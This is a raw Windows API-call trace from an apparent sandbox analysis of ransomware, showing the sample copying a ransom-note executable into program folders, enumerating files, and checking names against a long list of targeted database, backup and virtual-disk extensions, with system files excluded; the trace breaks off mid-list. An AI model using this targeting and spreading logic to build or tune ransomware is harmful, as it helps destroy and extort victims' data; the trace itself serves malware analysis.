	[0074.044] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.044] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x443531b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x443531b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0074.044] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0074.044] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7970
	[0074.044] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds"
	[0074.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0074.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0074.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned 63
	[0074.044] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds"
	[0074.044] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.044] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.050] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x443531b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x443531b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0074.050] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.050] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.050] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.050] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x443531b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x443531b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.050] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.050] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.050] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.050] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.051] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x443531b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x443531b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.051] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.051] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2="Apollon865.txt.exe") returned 1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2=".") returned 1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2="..") returned 1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2="windows") returned -1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2="bootmgr") returned 1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2="temp") returned -1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2="pagefile.sys") returned -1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2="boot") returned 1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2="ids.txt") returned 1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2="ntuser.dat") returned -1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2="perflogs") returned -1
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2="MSBuild") returned -1
	[0074.051] lstrlenW (lpString="J0143743.GIF") returned 12
	[0074.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*") returned 65
	[0074.051] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="J0143743.GIF" | out: lpString1="J0143743.GIF") returned="J0143743.GIF"
	[0074.051] lstrlenW (lpString="J0143743.GIF") returned 12
	[0074.051] lstrlenW (lpString="Apollon865") returned 10
	[0074.051] lstrcmpiW (lpString1="143743.GIF", lpString2="Apollon865") returned -1
	[0074.051] lstrlenW (lpString=".dll") returned 4
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2=".dll") returned 1
	[0074.051] lstrlenW (lpString=".lnk") returned 4
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2=".lnk") returned 1
	[0074.051] lstrlenW (lpString=".ini") returned 4
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2=".ini") returned 1
	[0074.051] lstrlenW (lpString=".sys") returned 4
	[0074.051] lstrcmpiW (lpString1="J0143743.GIF", lpString2=".sys") returned 1
	[0074.051] lstrlenW (lpString="J0143743.GIF") returned 12
	[0074.051] lstrlenW (lpString="bak") returned 3
	[0074.051] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1
	[0074.051] lstrlenW (lpString="ba_") returned 3
	[0074.051] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1
	[0074.051] lstrlenW (lpString="dbb") returned 3
	[0074.051] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1
	[0074.052] lstrlenW (lpString="vmdk") returned 4
	[0074.052] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1
	[0074.052] lstrlenW (lpString="rar") returned 3
	[0074.052] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1
	[0074.052] lstrlenW (lpString="zip") returned 3
	[0074.052] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1
	[0074.052] lstrlenW (lpString="tgz") returned 3
	[0074.052] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1
	[0074.052] lstrlenW (lpString="vbox") returned 4
	[0074.052] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1
	[0074.052] lstrlenW (lpString="vdi") returned 3
	[0074.052] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1
	[0074.052] lstrlenW (lpString="vhd") returned 3
	[0074.052] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1
	[0074.052] lstrlenW (lpString="vhdx") returned 4
	[0074.052] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1
	[0074.052] lstrlenW (lpString="avhd") returned 4
	[0074.052] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1
	[0074.052] lstrlenW (lpString="db") returned 2
	[0074.052] lstrcmpiW (lpString1="IF", lpString2="db") returned 1
	[0074.052] lstrlenW (lpString="db2") returned 3
	[0074.052] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1
	[0074.052] lstrlenW (lpString="db3") returned 3
	[0074.052] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1
	[0074.052] lstrlenW (lpString="dbf") returned 3
	[0074.052] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1
	[0074.052] lstrlenW (lpString="mdf") returned 3
	[0074.052] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1
	[0074.052] lstrlenW (lpString="mdb") returned 3
	[0074.052] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1
	[0074.052] lstrlenW (lpString="sql") returned 3
	[0074.052] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1
	[0074.052] lstrlenW (lpString="sqlite") returned 6
	[0074.052] lstrcmpiW (lpString1="43.GIF", lpString2="sqlite") returned -1
	[0074.052] lstrlenW (lpString="sqlite3") returned 7
	[0074.052] lstrcmpiW (lpString1="743.GIF", lpString2="sqlite3") returned -1
	[0074.052] lstrlenW (lpString="sqlitedb") returned 8
	[0074.052] lstrcmpiW (lpString1="3743.GIF", lpString2="sqlitedb") returned -1
	[0074.053] lstrlenW (lpString="xml") returned 3
	[0074.053] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1
	[0074.053] lstrlenW (lpString="$er") returned 3
	[0074.053] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1
	[0074.053] lstrlenW (lpString="4dd") returned 3
	[0074.053] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1
	[0074.053] lstrlenW (lpString="4dl") returned 3
	[0074.053] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1
	[0074.053] lstrlenW (lpString="^^^") returned 3
	[0074.053] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1
	[0074.053] lstrlenW (lpString="abs") returned 3
	[0074.053] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1
	[0074.053] lstrlenW (lpString="abx") returned 3
	[0074.053] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1
	[0074.053] lstrlenW (lpString="accdb") returned 5
	[0074.053] lstrcmpiW (lpString1="3.GIF", lpString2="accdb") returned -1
	[0074.053] lstrlenW (lpString="accdc") returned 5
	[0074.053] lstrcmpiW (lpString1="3.GIF", lpString2="accdc") returned -1
	[0074.053] lstrlenW (lpString="accde") returned 5
	[0074.053] lstrcmpiW (lpString1="3.GIF", lpString2="accde") returned -1
	[0074.053] lstrlenW (lpString="accdr") returned 5
	[0074.053] lstrcmpiW (lpString1="3.GIF", lpString2="accdr") returned -1
	[0074.053] lstrlenW (lpString="accdt") returned 5
	[0074.053] lstrcmpiW (lpString1="3.GIF", lpString2="accdt") returned -1
	[0074.053] lstrlenW (lpString="accdw") returned 5
	[0074.053] lstrcmpiW (lpString1="3.GIF", lpString2="accdw") returned -1
	[0074.053] lstrlenW (lpString="accft") returned 5
	[0074.053] lstrcmpiW (lpString1="3.GIF", lpString2="accft") returned -1
	[0074.053] lstrlenW (lpString="adb") returned 3
	[0074.053] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1
	[0074.053] lstrlenW (lpString="adb") returned 3
	[0074.053] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1
	[0074.053] lstrlenW (lpString="ade") returned 3
	[0074.053] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1
	[0074.053] lstrlenW (lpString="adf") returned 3
	[0074.053] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1
	[0074.053] lstrlenW (lpString="adn") returned 3
	[0074.053] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1
	[0074.054] lstrlenW (lpString="adp") returned 3
	[0074.054] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1
	[0074.054] lstrlenW (lpString="alf") returned 3
	[0074.054] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1
	[0074.054] lstrlenW (lpString="ask") returned 3
	[0074.054] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1
	[0074.054] lstrlenW (lpString="btr") returned 3
	[0074.054] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1
	[0074.054] lstrlenW (lpString="cat") returned 3
	[0074.054] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1
	[0074.054] lstrlenW (lpString="cdb") returned 3
	[0074.054] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1
	[0074.054] lstrlenW (lpString="ckp") returned 3
	[0074.054] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1
	[0074.054] lstrlenW (lpString="cma") returned 3
	[0074.054] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1
	[0074.054] lstrlenW (lpString="cpd") returned 3
	[0074.054] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1
	[0074.054] lstrlenW (lpString="dacpac") returned 6
	[0074.054] lstrcmpiW (lpString1="43.GIF", lpString2="dacpac") returned -1
	[0074.054] lstrlenW (lpString="dad") returned 3
	[0074.054] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1
	[0074.054] lstrlenW (lpString="dadiagrams") returned 10
	[0074.054] lstrcmpiW (lpString1="143743.GIF", lpString2="dadiagrams") returned -1
	[0074.054] lstrlenW (lpString="daschema") returned 8
	[0074.054] lstrcmpiW (lpString1="3743.GIF", lpString2="daschema") returned -1
	[0074.054] lstrlenW (lpString="db-journal") returned 10
	[0074.054] lstrcmpiW (lpString1="143743.GIF", lpString2="db-journal") returned -1
	[0074.054] lstrlenW (lpString="db-shm") returned 6
	[0074.054] lstrcmpiW (lpString1="43.GIF", lpString2="db-shm") returned -1
	[0074.054] lstrlenW (lpString="db-wal") returned 6
	[0074.054] lstrcmpiW (lpString1="43.GIF", lpString2="db-wal") returned -1
	[0074.054] lstrlenW (lpString="dbc") returned 3
	[0074.054] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1
	[0074.054] lstrlenW (lpString="dbs") returned 3
	[0074.054] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1
	[0074.054] lstrlenW (lpString="dbt") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1
	[0074.055] lstrlenW (lpString="dbv") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1
	[0074.055] lstrlenW (lpString="dbx") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1
	[0074.055] lstrlenW (lpString="dcb") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1
	[0074.055] lstrlenW (lpString="dct") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1
	[0074.055] lstrlenW (lpString="dcx") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1
	[0074.055] lstrlenW (lpString="ddl") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1
	[0074.055] lstrlenW (lpString="dlis") returned 4
	[0074.055] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1
	[0074.055] lstrlenW (lpString="dp1") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1
	[0074.055] lstrlenW (lpString="dqy") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1
	[0074.055] lstrlenW (lpString="dsk") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1
	[0074.055] lstrlenW (lpString="dsn") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1
	[0074.055] lstrlenW (lpString="dtsx") returned 4
	[0074.055] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1
	[0074.055] lstrlenW (lpString="dxl") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1
	[0074.055] lstrlenW (lpString="eco") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1
	[0074.055] lstrlenW (lpString="ecx") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1
	[0074.055] lstrlenW (lpString="edb") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1
	[0074.055] lstrlenW (lpString="epim") returned 4
	[0074.055] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1
	[0074.055] lstrlenW (lpString="fcd") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1
	[0074.055] lstrlenW (lpString="fdb") returned 3
	[0074.055] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1
	[0074.056] lstrlenW (lpString="fic") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1
	[0074.056] lstrlenW (lpString="flexolibrary") returned 12
	[0074.056] lstrlenW (lpString="fm5") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1
	[0074.056] lstrlenW (lpString="fmp") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1
	[0074.056] lstrlenW (lpString="fmp12") returned 5
	[0074.056] lstrcmpiW (lpString1="3.GIF", lpString2="fmp12") returned -1
	[0074.056] lstrlenW (lpString="fmpsl") returned 5
	[0074.056] lstrcmpiW (lpString1="3.GIF", lpString2="fmpsl") returned -1
	[0074.056] lstrlenW (lpString="fol") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1
	[0074.056] lstrlenW (lpString="fp3") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1
	[0074.056] lstrlenW (lpString="fp4") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1
	[0074.056] lstrlenW (lpString="fp5") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1
	[0074.056] lstrlenW (lpString="fp7") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1
	[0074.056] lstrlenW (lpString="fpt") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1
	[0074.056] lstrlenW (lpString="frm") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1
	[0074.056] lstrlenW (lpString="gdb") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1
	[0074.056] lstrlenW (lpString="gdb") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1
	[0074.056] lstrlenW (lpString="grdb") returned 4
	[0074.056] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1
	[0074.056] lstrlenW (lpString="gwi") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1
	[0074.056] lstrlenW (lpString="hdb") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1
	[0074.056] lstrlenW (lpString="his") returned 3
	[0074.056] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1
	[0074.056] lstrlenW (lpString="ib") returned 2
	[0074.056] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1
	[0074.057] lstrlenW (lpString="idb") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1
	[0074.057] lstrlenW (lpString="ihx") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1
	[0074.057] lstrlenW (lpString="itdb") returned 4
	[0074.057] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1
	[0074.057] lstrlenW (lpString="itw") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1
	[0074.057] lstrlenW (lpString="jet") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1
	[0074.057] lstrlenW (lpString="jtx") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1
	[0074.057] lstrlenW (lpString="kdb") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1
	[0074.057] lstrlenW (lpString="kexi") returned 4
	[0074.057] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1
	[0074.057] lstrlenW (lpString="kexic") returned 5
	[0074.057] lstrcmpiW (lpString1="3.GIF", lpString2="kexic") returned -1
	[0074.057] lstrlenW (lpString="kexis") returned 5
	[0074.057] lstrcmpiW (lpString1="3.GIF", lpString2="kexis") returned -1
	[0074.057] lstrlenW (lpString="lgc") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1
	[0074.057] lstrlenW (lpString="lwx") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1
	[0074.057] lstrlenW (lpString="maf") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1
	[0074.057] lstrlenW (lpString="maq") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1
	[0074.057] lstrlenW (lpString="mar") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1
	[0074.057] lstrlenW (lpString="marshal") returned 7
	[0074.057] lstrcmpiW (lpString1="743.GIF", lpString2="marshal") returned -1
	[0074.057] lstrlenW (lpString="mas") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1
	[0074.057] lstrlenW (lpString="mav") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1
	[0074.057] lstrlenW (lpString="maw") returned 3
	[0074.057] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1
	[0074.058] lstrlenW (lpString="mdbhtml") returned 7
	[0074.058] lstrcmpiW (lpString1="743.GIF", lpString2="mdbhtml") returned -1
	[0074.058] lstrlenW (lpString="mdn") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1
	[0074.058] lstrlenW (lpString="mdt") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1
	[0074.058] lstrlenW (lpString="mfd") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1
	[0074.058] lstrlenW (lpString="mpd") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1
	[0074.058] lstrlenW (lpString="mrg") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1
	[0074.058] lstrlenW (lpString="mud") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1
	[0074.058] lstrlenW (lpString="mwb") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1
	[0074.058] lstrlenW (lpString="myd") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1
	[0074.058] lstrlenW (lpString="ndf") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1
	[0074.058] lstrlenW (lpString="nnt") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1
	[0074.058] lstrlenW (lpString="nrmlib") returned 6
	[0074.058] lstrcmpiW (lpString1="43.GIF", lpString2="nrmlib") returned -1
	[0074.058] lstrlenW (lpString="ns2") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1
	[0074.058] lstrlenW (lpString="ns3") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1
	[0074.058] lstrlenW (lpString="ns4") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1
	[0074.058] lstrlenW (lpString="nsf") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1
	[0074.058] lstrlenW (lpString="nv") returned 2
	[0074.058] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1
	[0074.058] lstrlenW (lpString="nv2") returned 3
	[0074.058] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1
	[0074.058] lstrlenW (lpString="nwdb") returned 4
	[0074.058] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1
	[0074.059] lstrlenW (lpString="nyf") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1
	[0074.059] lstrlenW (lpString="odb") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1
	[0074.059] lstrlenW (lpString="odb") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1
	[0074.059] lstrlenW (lpString="oqy") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1
	[0074.059] lstrlenW (lpString="ora") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1
	[0074.059] lstrlenW (lpString="orx") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1
	[0074.059] lstrlenW (lpString="owc") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1
	[0074.059] lstrlenW (lpString="p96") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1
	[0074.059] lstrlenW (lpString="p97") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1
	[0074.059] lstrlenW (lpString="pan") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1
	[0074.059] lstrlenW (lpString="pdb") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1
	[0074.059] lstrlenW (lpString="pdm") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1
	[0074.059] lstrlenW (lpString="pnz") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1
	[0074.059] lstrlenW (lpString="qry") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1
	[0074.059] lstrlenW (lpString="qvd") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1
	[0074.059] lstrlenW (lpString="rbf") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1
	[0074.059] lstrlenW (lpString="rctd") returned 4
	[0074.059] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1
	[0074.059] lstrlenW (lpString="rod") returned 3
	[0074.059] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1
	[0074.059] lstrlenW (lpString="rodx") returned 4
	[0074.059] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1
	[0074.060] lstrlenW (lpString="rpd") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1
	[0074.060] lstrlenW (lpString="rsd") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1
	[0074.060] lstrlenW (lpString="sas7bdat") returned 8
	[0074.060] lstrcmpiW (lpString1="3743.GIF", lpString2="sas7bdat") returned -1
	[0074.060] lstrlenW (lpString="sbf") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1
	[0074.060] lstrlenW (lpString="scx") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1
	[0074.060] lstrlenW (lpString="sdb") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1
	[0074.060] lstrlenW (lpString="sdc") returned 3
